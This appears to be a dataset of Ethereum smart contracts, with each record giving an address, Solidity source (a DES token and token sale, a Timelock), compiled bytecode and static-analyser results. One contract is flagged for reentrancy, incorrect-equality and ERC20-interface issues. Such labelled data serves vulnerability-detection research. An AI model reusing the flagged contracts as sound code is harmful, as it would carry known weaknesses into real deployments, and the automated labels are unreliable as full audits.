260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b82111561152d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b6115bc82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92561171a85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6040518082815260200191505060405180910390a36001905092915050565b600061178d600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054426123b290919063ffffffff16565b9050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600090565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600554905090565b6040518060400160405280600481526020017f504152410000000000000000000000000000000000000000000000000000000081525081565b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611961576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b6119f082600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925611b4e85600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b6040518082815260200191505060405180910390a392915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115611c1f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260178152602001807f416d6f756e7420657863656564732062616c616e63652e00000000000000000081525060200191505060405180910390fd5b611c70826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d03826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115611e0257600080fd5b600554831115611e1157600080fd5b60148310611e87576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f416d6f756e7420746f206c6f7720746f2070726f63657373000000000000000081525060200191505060405180910390fd5b611ed983600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123b290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f31836005546123b290919063ffffffff16565b6005819055506000611f42846108cc565b9050611f59816004546123b290919063ffffffff16565b600481905550611fb0816000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6000808073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061205561200882866123b290919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123fc90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167faf01bfc8475df280aca00b578c4a948e6d95700f0db8c13365240f7f973c87546120e283876123b290919063ffffffff16565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054866040518084815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561216f578082015181840152602081019050612154565b50505050905090810190601f16801561219c5780820380516001836020036101000a031916815260200191505b5094505050505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61220d84886123b290919063ffffffff16565b6040518082815260200191505060405180910390a3600073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600081565b60006123aa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612484565b905092915050565b60006123f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061254a565b905092915050565b60008082840190508381101561247a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60008083118290612530576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156124f55780820151818401526020810190506124da565b50505050905090810190601f1680156125225780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161253c57fe5b049050809150509392505050565b60008383111582906125f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156125bc5780820151818401526020810190506125a1565b50505050905090810190601f1680156125e95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fea26469706673582212205623ba3b851de0b5d2a221443623ddcfc959d60dafc297e5c0a0d313e93e099c64736f6c63430007000033
{"success": true, "error": null, "results": {}}
228
0x284b0f2F49D072836Db87Dd25D0623Cd2F622bB1
pragma solidity ^0.4.13; /** * Math operations with safety checks */ library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /* * Ownable * * Base contract with an owner. * Provides onlyOwner modifier, which prevents function from running if it is called by anyone other than the owner. */ contract Ownable { address public owner; function Ownable() { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } function unown() onlyOwner { owner = address(0); } } contract Transferable is Ownable { bool public transfersAllowed = false; mapping(address => bool) allowedTransfersTo; function Transferable() { allowedTransfersTo[msg.sender] = true; } modifier onlyIfTransfersAllowed() { require(transfersAllowed == true || allowedTransfersTo[msg.sender] == true); _; } function allowTransfers() onlyOwner { transfersAllowed = true; } function disallowTransfers() onlyOwner { transfersAllowed = false; } function allowTransfersTo(address _owner) onlyOwner { allowedTransfersTo[_owner] = true; } function disallowTransfersTo(address _owner) onlyOwner { allowedTransfersTo[_owner] = false; } function transfersAllowedTo(address _owner) constant returns (bool) { return (transfersAllowed == true || allowedTransfersTo[_owner] == true); } } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic, Transferable { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint256 size) { require(msg.data.length >= size + 4); _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) onlyIfTransfersAllowed { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implemantation of the basic standart token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) onlyIfTransfersAllowed { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // if (_value > _allowance) throw; balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract DesToken is StandardToken { string public name = "DES Token"; string public symbol = "DES"; uint256 public decimals = 18; uint256 public INITIAL_SUPPLY = 35000000 * 1 ether; /** * @dev Contructor that gives msg.sender all of existing tokens. */ function DesToken() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; } } /* * Haltable * * Abstract contract that allows children to implement an * emergency stop mechanism. Differs from Pausable by causing a throw when in halt mode. * * * Originally envisioned in FirstBlood ICO contract. */ contract Haltable is Ownable { bool public halted = false; modifier stopInEmergency { require(!halted); _; } modifier onlyInEmergency { require(halted); _; } // called by the owner on emergency, triggers stopped state function halt() external onlyOwner { halted = true; } // called by the owner on end of emergency, returns to normal state function unhalt() external onlyOwner onlyInEmergency { halted = false; } } contract DesTokenSale is Haltable { using SafeMath for uint; string public name = "3DES Token Sale Contract"; DesToken public token; address public beneficiary; uint public tokensSoldTotal = 0; // in wei uint public weiRaisedTotal = 0; // in wei uint public investorCount = 0; uint public tokensSelling = 0; // tokens selling in the current phase uint public tokenPrice = 0; // in wei uint public purchaseLimit = 0; // in tokens wei amount event NewContribution(address indexed holder, uint256 tokenAmount, uint256 etherAmount); function DesTokenSale( address _token, address _beneficiary ) { token = DesToken(_token); beneficiary = _beneficiary; } function changeBeneficiary(address _beneficiary) onlyOwner stopInEmergency { beneficiary = _beneficiary; } function startPhase( uint256 _tokens, uint256 _price, uint256 _limit ) onlyOwner { require(tokensSelling == 0); require(_tokens <= token.balanceOf(this)); tokensSelling = _tokens * 1 ether; tokenPrice = _price; purchaseLimit = _limit * 1 ether; } // If DES tokens will not be sold in a phase it will be ours. // We belive in success of our project. function finishPhase() onlyOwner { require(tokensSelling != 0); token.transfer(beneficiary, tokensSelling); tokensSelling = 0; } function () payable { doPurchase(msg.sender); } function doPurchaseFor(address _sender) payable { doPurchase(_sender); } function doPurchase(address _sender) private stopInEmergency { // phase is started require(tokensSelling != 0); // require min limit of contribution require(msg.value >= 0.01 * 1 ether); // calculate token amount uint tokens = msg.value * 1 ether / tokenPrice; // throw if you trying to buy over the limit require(token.balanceOf(_sender).add(tokens) <= purchaseLimit); // recalculate selling tokens // will throw if it is not enough tokens tokensSelling = tokensSelling.sub(tokens); // recalculate counters tokensSoldTotal = tokensSoldTotal.add(tokens); if (token.balanceOf(_sender) == 0) investorCount++; weiRaisedTotal = weiRaisedTotal.add(msg.value); // transfer bought tokens to the contributor token.transfer(_sender, tokens); // transfer funds to the beneficiary beneficiary.transfer(msg.value); NewContribution(_sender, tokens, msg.value); } }
0x606060405236156100eb5763ffffffff60e060020a60003504166306fdde0381146100fd57806318886657146101885780631f8c07b0146101ad57806338af3eed146101cb5780634dcad927146101fa5780635ed7ca5b1461021f57806377dc6ac7146102345780637ff9b59614610259578063811aecf41461027e5780638da5cb5b14610293578063adadc77f146102c2578063b3ebc3da146102d7578063b9b8af0b146102fc578063cb3e64fd14610323578063d7e64c0014610338578063dc0706571461035d578063deda20de1461037e578063f2fde38b14610394578063fc0c546a146103b5575b6100fb5b6100f8336103e4565b5b565b005b341561010857600080fd5b61011061067f565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014d5780820151818401525b602001610134565b50505050905090810190601f16801561017a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019357600080fd5b61019b61071d565b60405190815260200160405180910390f35b34156101b857600080fd5b6100fb600435602435604435610723565b005b34156101d657600080fd5b6101de6107eb565b604051600160a060020a03909116815260200160405180910390f35b341561020557600080fd5b61019b6107fa565b60405190815260200160405180910390f35b341561022a57600080fd5b6100fb610800565b005b341561023f57600080fd5b61019b610843565b60405190815260200160405180910390f35b341561026457600080fd5b61019b610849565b60405190815260200160405180910390f35b341561028957600080fd5b6100fb61084f565b005b341561029e57600080fd5b6101de6108f5565b604051600160a060020a03909116815260200160405180910390f35b34156102cd57600080fd5b6100fb610904565b005b34156102e257600080fd5b61019b610940565b60405190815260200160405180910390f35b341561030757600080fd5b61030f610946565b604051901515815260200160405180910390f35b341561032e57600080fd5b6100fb610956565b005b341561034357600080fd5b61019b6109ac565b60405190815260200160405180910390f35b341561036857600080fd5b6100fb600160a060020a03600435166109b2565b005b6100fb600160a060020a0360043516610a12565b005b341561039f57600080fd5b6100fb600160a060020a0360043516610a1f565b005b34156103c057600080fd5b6101de610a77565b604051600160a060020a03909116815260200160405180910390f35b6000805460a060020a900460ff16156103fc57600080fd5b600754151561040a57600080fd5b662386f26fc1000034101561041e57600080fd5b60085434670de0b6b3a76400000281151561043557fe5b600954600254929091049250906104c5908390600160a060020a03166370a082318660006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561049e57600080fd5b6102c65a03f115156104af57600080fd5b505050604051805191905063ffffffff610a8616565b11156104d057600080fd5b6007546104e3908263ffffffff610aa016565b6007556004546104f9908263ffffffff610a8616565b600455600254600160a060020a03166370a082318360006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b151561055557600080fd5b6102c65a03f1151561056657600080fd5b505050604051805115159050610580576006805460010190555b600554610593903463ffffffff610a8616565b600555600254600160a060020a031663a9059cbb838360405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156105ec57600080fd5b6102c65a03f115156105fd57600080fd5b5050600354600160a060020a031690503480156108fc0290604051600060405180830381858888f19350505050151561063557600080fd5b81600160a060020a03167f16d99cb06fd9528f88184dd0483174a09cfd8312c28639858734b0c449cc05b8823460405191825260208201526040908101905180910390a25b5b5050565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107155780601f106106ea57610100808354040283529160200191610715565b820191906000526020600020905b8154815290600101906020018083116106f857829003601f168201915b505050505081565b60095481565b60005433600160a060020a0390811691161461073e57600080fd5b6007541561074b57600080fd5b600254600160a060020a03166370a082313060006040516020015260405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401602060405180830381600087803b15156107a457600080fd5b6102c65a03f115156107b557600080fd5b505050604051805184111590506107cb57600080fd5b670de0b6b3a7640000808402600755600883905581026009555b5b505050565b600354600160a060020a031681565b60045481565b60005433600160a060020a0390811691161461081b57600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790555b5b565b60075481565b60085481565b60005433600160a060020a0390811691161461086a57600080fd5b600754151561087857600080fd5b600254600354600754600160a060020a039283169263a9059cbb92169060405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401600060405180830381600087803b15156108d857600080fd5b6102c65a03f115156108e957600080fd5b50506000600755505b5b565b600054600160a060020a031681565b60005433600160a060020a0390811691161461091f57600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff191690555b5b565b60055481565b60005460a060020a900460ff1681565b60005433600160a060020a0390811691161461097157600080fd5b60005460a060020a900460ff16151561098957600080fd5b6000805474ff0000000000000000000000000000000000000000191690555b5b5b565b60065481565b60005433600160a060020a039081169116146109cd57600080fd5b60005460a060020a900460ff16156109e457600080fd5b6003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b610a0d816103e4565b5b50565b60005433600160a060020a03908116911614610a3a57600080fd5b600160a060020a03811615610a0d576000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b5b5b50565b600254600160a060020a031681565b600082820183811015610a9557fe5b8091505b5092915050565b600082821115610aac57fe5b508082035b929150505600a165627a7a723058208547dccd4d01e89a1ef34648b81074d3e8b7a414cc0d2d97f329c7e0deedc31a0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
229
0x8a6023e72312ea3439041551a21c3b74021e1cbc
pragma solidity ^0.5.8; // From https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/math/Math.sol // Subject to the MIT license. /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the addition of two unsigned integers, reverting with custom message on overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, errorMessage); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction underflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on underflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot underflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, errorMessage); return c; } /** * @dev Returns the integer division of two unsigned integers. * Reverts on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. * Reverts with custom message on division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Timelock { using SafeMath for uint; event NewAdmin(address indexed newAdmin); event NewPendingAdmin(address indexed newPendingAdmin); event NewDelay(uint indexed newDelay); event CancelTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event ExecuteTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); event QueueTransaction(bytes32 indexed txHash, address indexed target, uint value, string signature, bytes data, uint eta); uint public constant GRACE_PERIOD = 14 days; uint public constant MINIMUM_DELAY = 2 days; uint public constant MAXIMUM_DELAY = 30 days; address public admin; address public pendingAdmin; uint public delay; mapping (bytes32 => bool) public queuedTransactions; constructor(address admin_, uint delay_) public { require(delay_ >= MINIMUM_DELAY, "Timelock::constructor: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); admin = admin_; delay = delay_; } function() external payable { } function setDelay(uint delay_) public { require(msg.sender == address(this), "Timelock::setDelay: Call must come from Timelock."); require(delay_ >= MINIMUM_DELAY, "Timelock::setDelay: Delay must exceed minimum delay."); require(delay_ <= MAXIMUM_DELAY, "Timelock::setDelay: Delay must not exceed maximum delay."); delay = delay_; emit NewDelay(delay); } function acceptAdmin() public { require(msg.sender == pendingAdmin, "Timelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "Timelock::setPendingAdmin: Call must come from Timelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "Timelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "Timelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "Timelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "Timelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "Timelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "Timelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "Timelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "Timelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100c25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e2146105dd578063e177246e146105f2578063f2b065371461061c578063f851a4401461065a576100c2565b80636a42b8f81461059e5780637d645fab146105b3578063b1b43ae5146105c8576100c2565b80630825f38f146100c45780630e18b68114610279578063267822471461028e5780633a66f901146102bf5780634dd18bf51461041e578063591fcdfe14610451575b005b610204600480360360a08110156100da57600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561010957600080fd5b82018360208201111561011b57600080fd5b803590602001918460018302840111600160201b8311171561013c57600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561018e57600080fd5b8201836020820111156101a057600080fd5b803590602001918460018302840111600160201b831117156101c157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929550509135925061066f915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561023e578181015183820152602001610226565b50505050905090810190601f16801561026b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561028557600080fd5b506100c2610b88565b34801561029a57600080fd5b506102a3610c24565b604080516001600160a01b039092168252519081900360200190f35b3480156102cb57600080fd5b5061040c600480360360a08110156102e257600080fd5b6001600160a01b0382351691602081013591810190606081016040820135600160201b81111561031157600080fd5b82018360208201111561032357600080fd5b803590602001918460018302840111600160201b8311171561034457600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295949360208101935035915050600160201b81111561039657600080fd5b8201836020820111156103a8576000